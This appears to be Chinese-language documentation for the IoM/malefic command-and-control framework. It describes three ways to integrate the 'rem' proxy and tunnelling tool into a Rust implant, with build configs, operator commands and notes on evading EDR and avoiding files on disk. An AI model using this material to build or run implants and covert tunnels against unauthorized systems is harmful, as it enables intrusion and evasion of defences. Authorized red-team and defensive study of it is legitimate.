Skip to content

REM

嵌入到rust implant中

在IoM的v0.1.0中集成了一系列rem相关的功能. IoM通过三种方式打通implant与rem的交互。

方法1 反射加载EXE程序

rust implant的execute_exe 能完美加载rem, 就像在本地使用一样。

execute_exe rem.exe -- -c [rem_link] ... 

或基于RDI的实现

execute_shellcode rem.exe -- -c [rem_link] ...

优点

  • 无文件落地
  • 支持RDI和PIC两种加载方式

缺点

  • 有新进程产生,并且无法使用inline版本的加载器。对某些高强度端上对抗环境有暴露面
  • 与pipeline交互有延迟, 需要等待30-60秒才能将新的pivoting数据同步
  • 只支持windows

方法2 动态加载dll

将rem打包成dll, 基于Cgo与FFI实现跨语言调用

对于使用者来说, 不需要关注这些细节, 相关代码已经在IoM的插件仓库 中完成了对应的封装。

implant 编译时需要打开3rd以及rem相关feature, 可以在config.yaml中配置。

implants:  
  ......
  enable_3rd: true       # enable 3rd module  
  3rd_modules:            # 3rd module when malefic compile  
    - rem_dial  
    - rem_reflection

执行malefic-mutant生成对应代码

malefic-mutant generate beacon

然后再执行编译任务。

对于自动化编译来说, 只需要修改对应的config即可自动执行mutant。

上线后,在IoM命令行中执行以下代码即可安装并使用rem

# 安装对应的插件
mal install community-proxy

# 加载rem dll
rem_community load 

# 选择对应的rem pipeline, 搭建了反向代理隧道
rem_community socks5 rem_pipeline

优点

  • 相比execute-exe/execute-shellcode好的地方在于, 不会有新进程fork, 一切都在当前进程中完成。
  • 能实时同步pivoting并进行后续管理

缺点

  • 需要反射加载dll, 可能会留下EDR的部分暴露面
  • 只支持windows

方法3 静态链接rem

方法1和2都是解决上线后进一步搭建proxy/tunnel,本方法直接支持rem信道上线以及所有的rem提供的proxy/tunnel功能。

proxy/tunnel

与方法2类似, 只需要将rem_reflection修改为rem_static

implants:  
  ......
  enable_3rd: true       # enable 3rd module  
  3rd_modules:            # 3rd module when malefic compile  
    - rem_dial  
    - rem_static
malefic-mutant generate beacon

同样的,如果是自动化编译会自动执行这行命令, 手动编译才需要手动执行。

上线后,与rem_reflection不同的是, 我们不再需要安装插件包。 可以直接使用client自带的命令组

例如搭建反向socks5代理只需要

reverse [rem_defualt]

手动指定rem命令

rem_dial [rem_default] -- -c ...

rem信道上线

只需要修改implant 的config.yaml

basic:  
  name: "malefic"  
  targets:  
    - "127.0.0.1:5001"  
  protocol: "rem"  
  tls: false  
  proxy: ""  
  interval: 5  
  jitter: 0.2  
  ca:  
  encryption: aes  
  key: maliceofinternal  
  rem:  
    link: '[rem_link]'

运行mutant生成编译配置并编译

malefic-mutant generate beacon

cargo build --release -p malefic

优点

  • 支持通过rem信道上线
  • 不需要额外安装插件包
  • 只在本进程中执行, 不会fork新进程
  • 能实时同步pivoting并进行后续管理
  • 支持window和linux

缺点

  • 静态连接会让体积变大很多
  • 静态链接库不再支持ollvm, 带来一定的静态特征